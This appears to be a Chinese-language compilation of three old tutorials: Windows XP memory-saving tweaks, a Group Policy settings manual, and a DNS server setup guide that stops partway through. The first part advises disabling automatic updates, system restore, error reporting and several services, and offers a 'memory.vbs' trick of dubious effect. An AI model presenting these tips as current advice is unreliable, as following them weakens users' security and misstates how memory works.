大多数人家里计算机主要用于上网冲浪和玩GAME，并且配置也不是很高，如果装上了中看且中用的Windows XP，你的感觉可以用一个字来形容：慢！这就是我安装完Windows XP的第一个体验。为什么这么慢呢？因为微软为了让你有新的体验，所以往Windows XP中加入了大量崭新的功能，比如：系统还原，远程桌面，自动更新，Internet时间同步……，对于我而言，这些功能基本用不上，白白的耗了内存。加上近段时间内存不停的狂涨，要知道，大多人的机器仍然只有128MB(虽然笔者的机器有256MB的内存，但是我仍然讨厌无谓的浪费)！下面笔者介绍几个Windows XP内存优化的方法供大家参考。 　　一、关闭“系统还原”功能 　　“系统还原”功能是windows系列操作系统的一个重要特色，这一功能的最初仅限于：当Windows运行出现问题后，还原操作系统。到windows XP，进了一步，除了还原操作系统，还可还原私人数据，如：Word文档，绘图资料，Email甚至是浏览器的历史资料等等。“系统还原”虽然对经常犯错误的人有用，但是它会让你的硬盘处于高度繁忙的状态，你会发现你的硬盘总是忙个不停，因为Windows XP要记录操作，以便日后还原。如果你对自己有信心，那么就不要使用它，因为它可占不少内存。 　　具体操作为：右键单击“我的电脑”，点击属性，会弹出来系统属性对话框，点击“系统还原”，在“在所有驱动器上关闭系统还原”选项上打勾。 　　二、关闭“自动更新”功能 　　这个功能对一个24小时都挂在网上的用户来说很适合，但是考虑到在宽带还未普及的情况下，大多数家庭都是拨号上网，没有理由让这个功能一直开着。笔者建议你将默认的自动升级改为手动升级方式，以便使你了解系统都做了些什么。 　　具体操作为：右键单击“我的电脑”，点击属性，点击“自动更新”，在“通知设置”一栏选择“关闭自动更新。我将手动更新计算机”一项。 　　三、关闭“远程桌面”功能 　　顾名思义，这个功能就是让你可以让别人在另一台机器上访问你的桌面。可以说，在一个网络环境中，比如单位的局域网，这个功能很有用(要在防火墙没有限制的情况下)。比如你有问题了可以向同事求助，他可以不用到你的跟前，直接通过“远程桌面”来访问你的机器帮你解决问题。但是在家里面，通常只有一台计算机，这个功能就显得多余了，所以微软又赋予了它新的功能叫做“快速用户切换”，就是你可以不用注销你的用户让另一个人以其他用户的身份注册来使用你的计算机。我个人认为这个功能有一定的不安全因素在里面，并且，计算机也不是时时都在出问题，所以我的建议关掉它，否则你不用它就等于白白浪费内存。  　　四、优化“视觉效果”设置 　　Windows XP在操用界面方面，的确是好看多了，不过好看的背后是以消耗大量内存作为代价的，如果你的内存没有256MB以上，最好还是优化一下你的“视觉效果”功能。右键单击“我的电脑”，点击属性，点击“高级”，在“性能”一栏中，点击“设置”，点击“视觉效果”，在这里可以看到外观的所有设置，可以手工去掉一些不需要的功能。 　　五、优化“启动和故障恢复”设置 　　如果在你的系统崩溃时发现你的硬盘使劲儿的响，那是因为Windows XP正在写DUMP文件呢，对我们来说，如果你不打算把这个文件寄给微软(浪费电话费)，那么它又有什么用呢？所以笔者的建议是关闭。右键单击“我的电脑”，点击属性，点击“高级”，在“启动和故障恢复”一栏中，点击“设置”，其中的“系统失败”一栏中，建议改为图中的设置。  　　六、禁用“错误汇报”功能 　　这个功能可以在你的Windows XP发生错误的时候，系统自动收集一些错误资料然后发送给微软公司，以便其完善他们的操作系统(又一个浪费电话费且没用的功能)。笔者建议关掉它。如果这个功能对你没有用，那又何必让它占用着你的内存呢？右键单击“我的电脑”，点击属性，点击“高级”→“错误汇报”，选择“禁用错误汇报”功能。 　　七、关闭“Internet时间同步”功能 　　如果启用了同步，你的计算机时钟每周就会和 Internet 时间服务器进行一次同步。笔者建议关掉它(一个没多大用的功能)。请依次单击“开始”→“控制面板”→“日期、时间、语言和区域选项”，然后单击“日期和时间”→“Internet时间”。 　　八、关闭多余的服务 　　每次Windows XP启动之后，随之也启动了许多服务，有些服务对于很多用户来说是没用的，并且占用了内存，关掉它们是一个很好的选择。下面我们来看一下哪些服务有必要关掉。 　　点击“开始”→“运行”，输入命令“services.msc”，打开“服务”对话框，(注意：必须以管理员或 Administrators 组成员身份登录才能完成该过程。如果计算机与网络连接，则网络策略设置也可以阻止您完成此步骤。) 　　“Clipbook Server”(文件夹服务器)：这个服务允许你们网络上的其他用户看到你的文件夹。在这里我要强烈建议你把它改为手动启动，然后再使用其他程序在你的网络上发布信息。 　　“Messenger”(消息)：在网络上发送和接收信息。如果你关闭了Alerter，你可以安全地把它改为手动启动。 　　“Printer Spooler”(打印后台处理程序)：如果你没有配置打印机，建议改为手动启动或干脆关闭它。 　　“Error Reporting Service”(错误报告)：服务和应用程序在非标准环境下运行时提供错误报告。建议改为手动启动。 　　“Fast User Switching Compatibility”(快速用户切换兼容性)：建议改为手动启动。 　　“Automatic Updates”(自动更新)：这个功能前面已经讲过了，在这里可以改为手动启动。 　　“Net Logon”（网络注册）：处理象注册信息那样的网络安全功能。你可以把它设改为手动启动。 　　“Network DDE和Network DDE DSDM”(动态数据交换)：除非你准备在网上共享你的Office，否则你应该把它改为手动启动。注：这和在通常的商务设定中使用Office不同(如果你需要DDE，你就会知道)。 　　“NT LM Security Support”(NT LM安全支持提供商)：在网络应用中提供安全保护。建议你把它改为手动启动。 　　“Remote Desktop Help Session Manager”(远程桌面帮助会话管理器)：建议改为手动启动。  　　“Remote Registry”(远程注册表)：使远程用户能修改此计算机上的注册表设置。建议改为手动启动。 　　“Task Scheduler”(任务调度程序)：使用户能在此计算机上配置和制定自动任务的日程，它计划每星期的碎片整理等。 除非你实在太懒了，连在电脑上开一下都不想，建议改为手动启动。  　　“Uninterruptible Power Supply”(不间断电源)：它管理你的UPS。如果你没有的话，把它改为手动启动或干脆关闭它。  　　“Windows Image Acquisition (WIA)”(Windows 图像获取 (WIA))：为扫描仪和照相机提供图像捕获，如果你没有这些设备，建议改为手动启动或干脆关闭它。  　　九、整理你的内存 　　打开一个文本文件，然后插入以下中的1个：Mystring = Space(16000000) 或 Mystring = Space(80000000)，你只需要插入其中的1个。把文件保存为memory.vbs。如果你安装了Visual Basic 4(或更高的版本)运行文件，那么你可以随时双击这个程序来运行它。 　　最下面的那一条是给那些有不少于128MB内存的人的。当然每个人都应该先试一下它，因为大多数情况下它工作得更好。不过，如果它引起错误的话，把它替换成最上面那一条(可以用于任何不少于64MB内存的电脑)。  　　另外， 建议你在运行它之前先把其他的所有程序关闭。  　　以上设置改完后，可以同时按下“Ctrl+Alt+Del”打开“Windows 任务管理器”对话框，点击“性能”，在右下角可以看到内存的使用情况，经过以上优化后，内存占用应该在几十MB了，是不是感觉快了一点。　　 　　当然，对于内存优化还有一些大家非常熟悉的方法，比如：不使用壁纸，不使用屏幕保护程序等等，在这里就不一一阐述了。以上这些方法对于内存不够多的朋友应该有所帮助。

 

组策略完全使用手册

　

对于大部分计算机用户来说，管理计算机基本上是借助某些第三方工具，甚至是自己手工修改注册表来实现。其实Windows XP组策略已经把这些功能集于一体，通过组策略及相关工具完全可以实现我们所需要的功能。
一、组策略基础
1.什么是组策略
注册表是Windows系统中保存系统软件和应用软件配置的数据库，而随着Windows功能越来越丰富，注册表里的配置项目也越来越多，很多配置都可以自定义设置，但这些配置分布在注册表的各个角落，如果是手工配置，可以想像是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块，供用户直接使用，从而达到方便管理计算机的目的。
其实简单地说，组策略设置就是在修改注册表中的配置。当然，组策略使用了更完善的管理组织方法，可以对各种对象中的设置进行管理和配置，远比手工修改注册表方便、灵活，功能也更加强大。
2.组策略的版本
对于Windows 9X/NT用户来说，都知道“系统策略”的概念，其实组策略就是系统策略的高级扩展，它是自Windows
9X/NT的“系统策略”发展而来的，具有更多的管理模板、更灵活的设置对象及更多的功能，目前主要应用于Windows
2000/XP/2003操作系统中。
早期系统策略的运行机制是通过策略管理模板，定义特定的POL(通常是Config.pol)文件。当用户登录时，它会重写注册表中的设置值。当然，系统策略编辑器也支持对当前注册表的修改，另外也支持连接网络计算机并对其注册表进行设置。
而组策略及其工具，则是对当前注册表进行直接修改。显然，Windows
2000/XP/2003系统的网络功能是其最大的特色之处，所以其网络功能自然是不可少的，因此组策略工具还可以打开网络上的计算机进行配置，甚至可以打开某个Active
Directory(活动目录)对象(即站点、域或组织单位)并对其进行设置。这是以前“系统策略编辑器”工具无法做到的。
当然，无论是“系统策略”还是“组策略”，它们的基本原理都是修改注册表中相应的配置项目，从而达到配置计算机的目的，只是它们的一些运行机制发生了变化和扩展而已。
3.在Windows
XP中运行组策略
在Windows
2000/XP/2003系统中，系统默认已经安装了组策略程序，在“开始”菜单中，单击“运行”选项，在打开的对话框中输入“gpedit.msc”并确定，即可运行组策略。如图1所示。
使用上面的方法，打开的组策略对象是当前的计算机，而如果需要配置其他的计算机组策略对象，则需要将组策略作为独立的MMC管理单元打开：
(1)打开Microsoft管理控制台(可在“开始”菜单的“运行”对话框中直接输入“MMC”并确定)。
(2)单击“文件→添加/删除管理单元”菜单命令，在打开的对话框中单击“添加”按钮。
(3)在“可用的独立管理单元”对话框中，单击“组策略”选项，然后单击“添加”按钮。
(4)在“选择组策略对象”对话框中，单击“本地计算机”选项编辑本地计算机对象，或通过单击“浏览”查找所需的组策略对象。
(5)单击“完成”按钮，组策略管理单元即打开要编辑的组策略对象。
(6)在左窗格中定位需要更改的选项的位置，在右窗格中右键单击需要更改的具体选项，单击“属性”命令，即可打开其属性对话框，从中选择“已启用”、“未配置”、“已禁用”选项即可对计算机策略进行管理。
4.组策略中的管理模板
在Windows
2000/XP/2003中包含几个ADM文件。这些文件是文本文件，被称为“管理模板”，它们为组策略管理单元的控制树中“管理模板”文件夹下的项目提供策略信息。
在Windows
2000/XP/2003中，默认的Admin.adm管理模板位于系统文件夹的INF文件夹中，包含了默认安装下的4个模板文件，分别为：
(1)System.adm：默认安装在“组策略”中，用于系统设置。
(2)Inetres.adm：默认安装在“组策略”中，用于Internet
Explorer(IE)策略设置。
(3)Wmplayer.adm：用于Windows Media
Player设置。
(4)Conf.adm：用于NetMeeting设置。
在策略管理控制台中，可以多次添加“策略模板”，下面让我们来看看具体操作：
首先运行“组策略”程序，然后选择“计算机配置”或者“用户配置”下的“管理模板”，单击鼠标右键，选择“添加/删除模板”命令，然后在打开的对话框中单击“添加”按钮，在打开的对话框中选择相应的ADM文件。单击“打开”按钮，则在系统策略编辑器中打开选定的脚本文件，并等待用户执行。
返回到“组策略”编辑器主界面后，依次打开目录“本地计算机策略→用户配置→管理模板”选项，再单击相应的目录树，就会看到我们新添加的管理模板所产生的配置项目了。
注意：下面的操作均在Windows
XP中进行。
二、个性化我的电脑
1.删除“开始”菜单中的“文档”菜单项
在多人使用的计算机中，有的用户不希望其他用户看到自己曾经编辑过的文档或其他信息。因此，为了删除用于记录历史文档的“文档”菜单项，我们可以通过修改组策略来实现。
位置：\用户配置\管理模板\任务栏和“开始”菜单\
启用此设置，则系统保存“文档”快捷方式，但不在“文档”菜单中显示它们。如果以后禁用此设置或把它设置为未配置，则启用设置之前及其生效之时保存的“文档”快捷方式会出现在“文档”菜单项中。如图2所示。
注意：此设置不会阻止Windows程序在最近打开的文档中显示快捷方式。
另外，你也可以设置在退出系统时自动清除最近打开的文档的历史记录。
位置：\用户配置\管理模板\任务栏和“开始”菜单\
如果禁用该策略设置，系统就会在用户退出时删除快捷方式。因此，用户登录时，“开始”菜单上的文档菜单总是空的。如果禁用或不配置此设置，系统将保留文档快捷方式，并且用户登录时的文档菜单看起来与用户退出系统时完全相同。
注意：系统在\Documents
and
Settings\\Recent文件夹中的用户配置文件中保存文档快捷方式。
2.删除“开始”菜单中的“运行”菜单项
在“开始”菜单中有“运行”菜单项，可以输入程序名称来启动程序。我们可以将“运行”菜单项从“开始”菜单中删除。
位置：\用户配置\管理模板\任务栏和“开始”菜单\
如果启用该设置，发生如下更改：
(1)“运行”命令从“开始”菜单中删除。
(2)新建任务(运行)命令从任务管理器删除。
(3)阻止用户在IE地址栏中输入下列项：
UNC路径：\\＜server＞\＜share＞。
访问本地驱动器：例如，C:。
访问本地文件夹：例如，\temp＞。
同时，使用WIN+R组合键将无法显示“运行”对话框。如果禁用或不配置此设置，用户可以访问“开始”菜单和任务管理器的“运行”命令，以及使用IE地址栏。
注意：这个策略只影响指定的界面。不会防止用户使用其他方法运行程序。
3.给“开始”菜单减肥
如果觉得Windows的“开始”菜单太臃肿，你完全可以通过组策略设置将不需要的菜单项从“开始”菜单中删除。
位置：\用户配置\管理模板\任务栏和“开始”菜单\
在组策略右侧窗格中，提供“从‘开始’菜单删除用户文件夹”、“删除到‘Windows
Update’的访问和链接”、从‘开始’菜单删除公用程序组、从‘开始’菜单中删除“我的文档”图标等配置项目。你只要将不需要的菜单项所对应的策略启用即可。
4.隐藏和禁用桌面上的所有项目
该策略可以从桌面上删除图标、快捷方式和其他默认的和用户定义的项目。
位置：\用户配置\管理模板\桌面\
该策略删除图标和快捷方式不防止用户用另一种方法启动程序或打开图标和快捷方式所代表的项目。
5.退出时不保存用户设置
该策略用于防止用户保存对桌面的某些更改。
位置：\用户配置\管理模板\桌面\
如果你启用这个设置，用户可以对桌面做某些更改，但有些更改，比如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存。
6.启用/禁用“活动桌面”(Active
Desktop)
活动桌面是Windows 98(及以后版本)或安装了IE
4.0的系统中自带的高级功能，它最大的特点是可以设置各种图片格式的墙纸，甚至可以将网页作为墙纸显示。但出于对安全和性能的考虑，有时候我们需要禁用这一功能(并且防止用户启用它)。
位置：\用户配置\管理模板\桌面\Active
Desktop
提示：如果同时启用“启用Active Desktop”设置和“禁用Active Desktop”设置，“禁用Active
Desktop”设置会被忽略。如果“禁用Active Desktop和Web视图”设置(在“用户配置\管理模板\Windows组件\Windows资源管理器”)被启用，Active
Desktop就会被禁用，并且这两个策略都会被忽略。
7.从“我的电脑”中删除共享文档
当Windows用户在一个工作组中，一个“共享文档”图标会以Windows资源管理器的Web视图出现在“其他位置”和“在这台计算机上存储的其他文件”中。使用此设置，你可选择不显示这些项目。
位置：\用户配置\管理模板\Windows组件\Windows资源管理器\
如果启用此设置，“共享文档”文件夹将不会以Web视图方式显示或在“我的电脑”中出现。如果禁用或不配置此设置，当用户是“工作组”的一部分时，“共享文档”文件夹将会以Web视图方式显示或在“我的电脑”中出现。
8.不要将已删除的文件移到“回收站”
当Windows资源管理器中的一个文件或文件夹被删除时，该文件或文件夹的副本会被放在“回收站”里。使用此策略，你能改变此行为。
位置：\用户配置\管理模板\Windows组件\Windows资源管理器\
如果启用此设置，使用Windows资源管理器删除的文件或文件夹不会被放在“回收站”里，因此被永久删除。如果禁用或不配置此设置，使用Windows资源管理器删除的文件或文件夹会被放在“回收站”里。
三、利用组策略进行系统设置
1.登录时不显示欢迎屏幕
为了加快计算机启动的速度，我们完全可以通过组策略设置在每次用户登录时将Windows
XP欢迎屏幕隐藏。
位置：\用户配置\管理模板\系统\
要显示欢迎屏幕，请依次单击“开始→程序→附件→系统工具”选项，然后单击“开始”选项。要在不指定设置的情况下不显示欢迎屏幕，请在欢迎屏幕上的复选框中清除“在开始显示这个屏幕”选项。
注意：这项设置出现在“计算机配置”和“用户配置”文件夹中。如果配置这项设置，“计算机配置”中的设置比“用户配置”中的设置优先。
2.配置驱动程序查找位置
默认情况下，Windows将从本地安装、软盘驱动器、光盘驱动器、Windows
Update等位置搜索驱动程序。此设置配置查找到新硬件时Windows将要搜索驱动程序的位置。
位置：\用户配置\管理模板\系统\
如果启用此设置，你可以通过检查位置名称的相关复选框，删除这三个位置中的任何位置。如果禁用或不配置此设置，Windows将从本地安装、软盘驱动器、光盘驱动器和Windows
Update等位置中搜索驱动程序。
3.关闭自动播放
一旦你将媒体插入驱动器，自动运行就开始从驱动器中读取。这会造成程序的设置文件和在音频媒体上的音乐立即开始。该策略将关闭自动运行功能。
位置：\用户配置\管理模板\系统\
如果你启动这项设置，你还可以在CD-ROM驱动器禁用自动运行或在所有驱动器上禁用自动运行。
注意：这个设置出现在“计算机配置”和“用户配置”两个文件夹中。如果两个设置都配置，“计算机配置”中的设置比“用户配置”中的设置优先。
另外，此设置不阻止自动播放音乐
CD。
4.只运行许可的Windows应用程序
该策略可以限制用户可以运行的Windows程序。
位置：\用户配置\管理模板\系统\
如果你启用这个设置，用户只能运行你加入“允许运行的应用程序列表”中的程序。
这个设置只能防止用户从Windows资源管理器启动程序。无法防止用户用其他方式启动程序，例如任务管理器。如果用户可以访问命令提示符窗口，这个设置无法防止用户从命令窗口启动不允许在Windows资源管理器中运行的程序。
注意：要创建允许的文件列表，请单击“显示”按钮，在打开的对话框中单击“添加”按钮，然后输入应用程序的执行文件名称(例如，Winword.exe、Poledit.exe、Powerpnt.exe)。如图3所示。
5.删除任务管理器
当我们同时按下Ctrl+Alt+Del组合键将显示“Windows任务管理器”对话框。任务管理器可以让用户启动或终止程序、监视计算机性能、查看及监视计算机上所有运行中的程序(包含系统服务)、搜索程序的执行文件名、更改程序运行的优先顺序。在这里，我们可以通过组策略删除任务管理器。
位置：\用户配置\管理模板\系统\Ctrl+Alt+Del选项\
如果该设置被启用，并且用户试图启动任务管理器，系统会显示消息，解释是一个策略禁止了这个操作。
6.删除改变“密码”选项
该策略可以防止用户通过任务管理器更改系统密码。
位置：\用户配置\管理模板\系统\Ctrl+Alt+Del选项\
这个设置停用Windows安全设置对话框上的“更改密码”按钮。但是，用户在得到系统提示时依旧可以更改密码。管理员要求新密码和密码作废时，系统会提示用户输入新密码。
7.不允许运行Windows
Messenger
Windows XP自带有聊天工具Windows Messenger，但是，我们也有可能在系统中安装MSN
Messenger。该策略允许你禁用Windows Messenger。
位置：\用户配置\管理模板\Windows组件\Windows Messenger
如果启用该策略，Windows
Messenger将不会运行。如果禁止或不配置该策略，Windows
Messenger可以被使用。
注意：如果启用这个策略，远程协助无法使用Windows
Messenger。另外，这个策略也会出现在“计算机配置”中。如果两个设置都配置，“计算机配置”中的设置比“用户配置”中的设置优先。
8.关闭系统还原功能
系统还原是Windows
XP/2003中集成的强大功能，它在系统运行的同时，备份被更改的文件和数据，如果出现问题，系统还原使用户能够在不丢失个人数据文件的情况下，将计算机还原到以前的状态。默认情况下，系统还原处于打开状态。
但这一功能付出的代价也是相当大的，系统性能会明显下降，磁盘空间也会被占用很多。对于配置不高的计算机来说，强烈建议关闭此功能。
位置：\计算机配置\管理模板\系统\系统还原\关闭系统还原
启用此设置后即可关闭系统还原功能，并且不能访问“系统还原向导”和“配置界面”。
四、利用组策略调整上网设置
1.禁用导入和导出收藏夹
禁止用户使用“导入/导出向导”菜单项导入或导出收藏夹链接。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果启用该策略，“导入/导出向导”菜单项将无法导入/导出收藏夹链接和Cookie。如果禁用该功能或不对其进行配置，则用户可以通过单击“文件”菜单上的“导入和导出”菜单项，然后运行“导入/导出向导”，导入/导出IE中的收藏夹。
注意：如果启用该策略，用户仍然可以查看“导入/导出向导”，但当用户单击“完成”按钮时，将出现说明该功能已被禁用的提示信息。
2.禁用更改“高级”选项卡的设置
禁止用户更改“Internet
选项”对话框中“高级”选项卡上的设置。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果启用该策略，则用户无法更改高级Internet设置，如安全、多媒体和打印。用户无法选中“高级”选项卡上的复选框，也不能清除这些复选框的复选标记。如果禁用该策略或不对其进行配置，则用户可以选择或清除“高级”选项卡上的设置。
如果设置了位于\用户配置\管理模板\Windows组件\Internet
Explorer\Internet控制面板中的“禁用高级页”策略，则无需设置该策略，因为“禁用高级页”策略将删除界面上的“高级”选项卡。
3.对拨号连接使用“自动检测”属性
自动检测在浏览器第一次启动时使用
DHCP(动态主机配置协议)或DNS服务器来自定义浏览器。该策略指定自动检测用于用户的拨号设置的配置。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果启用该设置，自动检测将配置用户的拨号设置。如果禁用该配置或不配置，自动检测不会配置用户的拨号设置，除非用户指定。
4.禁用Internet连接向导
禁止用户运行Internet连接向导。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果启用该策略，“Internet选项”对话框中“连接”选项卡上的“建立连接”按钮将变灰。用户也无法通过单击桌面上的“连接到Internet”图标或单击“开始→程序→附件→通讯”，然后单击“Internet连接向导”运行Internet连接向导。如果禁用该策略或不对其进行配置，则用户可以通过运行Internet连接向导，更改连接设置。
注意：该策略与位于＼用户配置＼管理模板＼Windows
组件＼Internet
Explorer＼Internet控制面板中的“禁用连接页”策略有相似之处，后者将删除界面上的“连接”选项卡。从界面上删除“连接”选项卡并不会妨碍用户从桌面或“开始”菜单中运行Internet连接向导。
5.禁用表单的自动完成功能
禁止IE自动完成表单，如填写用户以前在网页中输入过的姓名或密码。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果启用该策略，“表单”复选框将变灰。单击“Internet选项”对话框中“内容”选项卡上的“自动完成”按钮，即可出现“表单”复选框。如果禁用该策略或不对其进行配置，则用户可以启用表单的自动完成功能。
位于\用户配置\管理模板\Windows组件\Internet
Explorer\Internet控制面板中的“禁用内容页”策略的优先级高于该策略。如果启用了“禁用内容页”策略，该策略将被忽略，因为“禁用内容页”策略将删除“控制面板”中“Internet
Explorer属性”对话框中的“内容”选项卡。
注意：如果用户已开始使用启用了表单自动完成功能的浏览器后，再启用该策略，则不会清除用户已经使用表单自动完成功能在表单中所填写的内容。
6.配置媒体浏览栏属性
媒体浏览器栏播放来自Internet的音乐和视频内容，该策略允许管理员启用和禁用媒体浏览器栏和设置默认自动播放。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer
如果禁用媒体浏览器栏，用户无法显示媒体浏览器栏。自动播放功能也被禁用。当用户在IE中单击一个链接，系统中的默认媒体客户端将播放内容。如果启用媒体浏览器栏或不配置，用户可以显示和隐藏媒体浏览器栏。
管理员也可以打开和关闭自动播放功能。该设置只在媒体浏览器栏启用时应用。如果选择，媒体浏览器栏将在用户单击媒体链接时自动显示和播放媒体内容。如果不选择，系统上的默认媒体客户端将播放内容。
7.禁用右键快捷菜单
禁止在用户使用IE过程中单击鼠标右键时出现快捷菜单。
位置：\用户配置\管理模板\Windows组件\Internet
Explorer\浏览器菜单
如果启用该策略，在用户指向网页，然后单击鼠标右键时将不出现快捷菜单。如果禁用该策略或不对其进行配置，则用户可以使用快捷菜单。
8.自定义IE标题栏
我们可以利用组策略自定义出现在IE和OE标题栏中的文本。无论软件包中是否有OE或者用户计算机上已经安装了OE，都将更新OE标题栏。
位置：\用户配置\管理模板\Windows设置\Internet
Explorer维护\浏览器用户界面\浏览器标题
请在打开的对话框中选中“自定义标题栏”选项，然后在“标题栏文本”框中键入希望的文本。
注意：在选择某个位图时，要确保颜色与文本的对比度。这为用户确保了更高程度的可读性。
9.自定义IE工具按钮
我们可以利用该策略个性化出现在IE中的工具栏，给你一定的灵活性和设计机会。可以使用的元素包括用于标准工具栏按钮(例如“搜索”和“历史”)的工具栏背景和图标外观。
位置：＼用户配置＼管理模板＼Windows设置＼Internet
Explorer维护＼浏览器用户界面＼浏览器工具栏自定义
在打开的对话框中单击“添加”按钮，然后在打开的对话框中在“工具栏标题(必需)”框中，键入用户鼠标悬停在工具栏按钮上时出现的文本。必须指定该按钮的标题或标签。建议的最大长度是10个字符。
在“工具栏操作(作为脚本文件或可执行文件，必需)”框中，键入脚本文件或可执行文件的名称，或者单击“浏览”按钮查找文件。必须指定用户单击工具栏按钮时运行的脚本文件或可执行文件。
在“工具栏颜色图标(必需)”框中，键入表示按钮为活动状态的文件的名称，或者单击“浏览”按钮查找该文件。必须指定出现在工具栏上的按钮的彩色图标。图标由活动和非活动状态的20×20像素的图像组成。
在“工具栏灰度图标(必需)”框中，键入出现在黑白监视器上的工具栏的灰度图标文件名和位置，或者单击“浏览”按钮查找文件。必须指定显示在工具栏上按钮的灰度图标。
选中“默认情况下，该按钮应显示在工具栏上”复选框来显示默认情况下用户浏览器中的工具栏按钮。
五、利用组策略设置优化网络环境
1.禁止访问网络连接组件的属性
“本地连接属性”对话框包括连接时使用的网络组件列表。要查看或更改组件属性，请单击组件名称，然后单击组件列表下面的“属性”按钮，如图4所示。该策略确定用户是否可以更改由网络连接使用的组件属性，它确定是否启用用于网络连接组件的“属性”按钮。
位置：\用户配置\管理模板\网络\网络连接\
如果启用此设置(并启用“为管理员启用网络连接设置”设置)，就会为管理员禁用“属性”按钮。无论“为管理员启用网络连接设置”设置启用与否，用户都不可以访问连接组件。如果禁用或不配置“为管理员启用网络连接设置”。
如果禁用或不配置此设置，将为用户启用“属性”按钮。
2.禁用TCP/IP高级配置
确定用户是否可以配置TCP/IP
设置。
位置：\用户配置\管理模板\网络\网络连接\
如果启用此设置(并启用“为管理员启用网络连接设置”设置)，就对所有用户(包括管理员)禁用“Internet协议(TCP/IP)
属性”对话框上的“高级”按钮。因此，用户不能打开“高级TCP/IP设置”对话框并修改IP设置(例如，DNS和WINS服务器信息)。如果禁用此设置，则启用“高级”按钮，并且所有用户均可打开“高级TCP/IP设置”对话框。
注意：此设置会由禁止访问连接属性或连接组件属性的设置取代。如果将这些策略设置为拒绝访问连接属性对话框或用于连接组件的“属性”按钮，用户就无法访问用于TCP/IP配置的“高级”按钮。不管此设置如何，非管理员用户均不具有访问用于网络连接的TCP/IP高级配置的权限。在用户退出系统之前，将此设置从“启用”更改为“未配置”不会启用“高级”按钮。
3.禁止添加或删除用于网络连接或远程访问连接的组件
“安装”按钮可打开用来添加网络组件的对话框。单击“卸载”按钮可删除组件列表中的选定组件。“安装”和“卸载”按钮出现在用于连接的“属性”对话框之中。这些按钮位于“常规”选项卡和“网络”选项卡上。该策略确定管理员是否可以添加和删除用于网络连接或远程访问连接的网络组件。
位置：\用户配置\管理模板\网络\网络连接\
如果启用此设置(并启用“为管理员启用网络连接设置”设置)，就会禁用用于连接组件的“安装”和“卸载”按钮，并且不允许用户访问“Windows组件向导”中的网络组件。如果禁用或不配置此设置，就会启用用于“网络连接”文件夹中连接组件的“安装”和“卸载”按钮。同样地，用户可以访问“Windows组件向导”中的网络组件。
4.禁止访问网络连接的属性
右键单击“网上邻居”图标，在打开的快捷菜单中可以看到“属性”菜单项，用于打开网络连接属性对话框，该策略确定用户是否可以更改网络连接的属性。
位置：\用户配置\管理模板\网络\网络连接\
如果启用此设置(并启用“为管理员启用网络连接设置”设置)，就对所有用户禁用“属性”菜单项，而且用户不能打开“连接属性”对话框。如果禁用或不配置此设置，右键单击“网上邻居”的图标时，就会出现“属性”菜单项。同样地，当用户选择此连接时，就会启用“文件”菜单上的“属性”菜单项。
注意：此设置优先于操作“局域连接属性”对话框内的功能的可用性设置。如果启用此设置，用户将不可使用网络连接的属性对话框内的任何功能。
5.更改所有用户远程访问连接的属性
该策略用于确定用户是否可以查看和更改对计算机所有用户可用的远程访问连接的属性。此设置确定是否启用“属性”菜单项，以及远程访问连接属性对话框是否对用户可用。
位置：\用户配置\管理模板\网络\网络连接\
如果启用此设置，任何用户右键单击用来进行远程访问连接的图标时，就会出现“属性”菜单项。同样地，当任何用户选择连接时，“文件”菜单上就出现“属性”。如果禁用此设置(并启用“为管理员启用网络连接设置”设置)，就会禁用“属性”菜单项，并且用户(包括管理员)无法打开远程访问连接对话框。如果不配置此设置，则只有管理员才可以更改所有用户远程访问连接的属性。
注意：此设置优先于操作远程访问连接属性对话框内的功能的可用性设置。如果禁用此设置，则用户不可使用用于远程访问连接的属性对话框内的任何功能。 

 

构建DNS服务器简易指南 　 在用TCP/IP协议族架设的网络中，每一个节点都有一个唯一的IP地址，用来作为它们唯一的标志。然而，如果让使用者来记住这些毫无记忆规律的IP地址将是不可想象的。人们就需要一种有记忆规律的字符串来作为唯一标记节点的名字。 　　然而，虽然符号名对于人来说是极为方便的，但是在计算机上实现却不是那么方便的。为了解决这个需求，应运而生了一个域名服务系统DNS，它运行在TCP协议之上，负责将字符名--域名转换成实际相对应的IP地址。这个过程就是域名解析，负责域名解析的机器就叫域名服务器。 　　1、域名解析的方法 　　1.1 最早的域名解析方法 　　最简单的主机名解析方法是，在一个文件中记录所有主机名及与其对应的IP地址，并保证该文件中主机名的唯一性，通过检索文件中的便可以完成主机名的解析。采用这种最简单的解决方法有其历史原因： 在整个70年代，APRANET只是一个小规模的，由类似的数百台主机组成的团体。于是为了解决主机名解析的问题，将连接到ARPANET上每台主机的名字与对应的地址都保存在HOSTS.TXT文件中。这样每增加一台机器，就必须修改HOSTS.TXT文件一次。随着网络的不断发展，网络中的主机数量爆炸性地增加，这种域名解析的方法已经无法适应新的解析需要。 　　1.2 分布式的域名服务器 　　这种方法，我们已经在基础篇的第六章中有了详细的叙述，在此就不再重复了。在这种分布式的域名服务器体系中，每一台域名服务器（DNS）负责解析属于自己的这一部分主机的域名。 一般说来，如果你所处在公司或组织所拥有的主机并不多，一般是将域名的解析工作交给自己的ISP的域名服务器来完成。而如果你所在组织拥有的主机比较多，我们就可以组建自己的域名服务器负责解析你所在组织的主机。 　　2、域名服务器建立实例 　　2.1 实例环境 　　假设我们需要建立一台应用于以下情况的一个企业主域名服务器。 　　1． 拥有一个C类网段地址，为202.101.55.0 　　2． 企业域名注册为company.com。 　　3． 域名服务器的IP定为202.101.55.55，主机名为dns.company.com。它同时充当Proxy. 　　4． 企业网通过路由器与Internet连接。 　　5． 要解析的服务器有： 　www.company.com (202.101.55.1) Web服务器 　　mail.company.com (202.101.55.2) E-Mail服务器 　2.2 安装前的准备工作 　　首先要保证在作为系中统有/etc/resolv.conf和/etc/hosts.conf这两个文件。/etc/resolv.conf文件中内容如下所示： 　　domain compay.com 　　nameserver 202.101.55.55 　　其中第一行指出对于任何希望连到它上面的主机应该搜寻的域。而第二行指出了在哪个地址可以找到需要的域名服务大。/etc/hosts.conf的内容如下所示： 　　order hosts,bind 　　multi on 　　这里的设置告诉主机名称先在/etc/hosts文件中搜索，然后再查询域名服务器。 　　2.3 定义文件/etc/named.boot 　　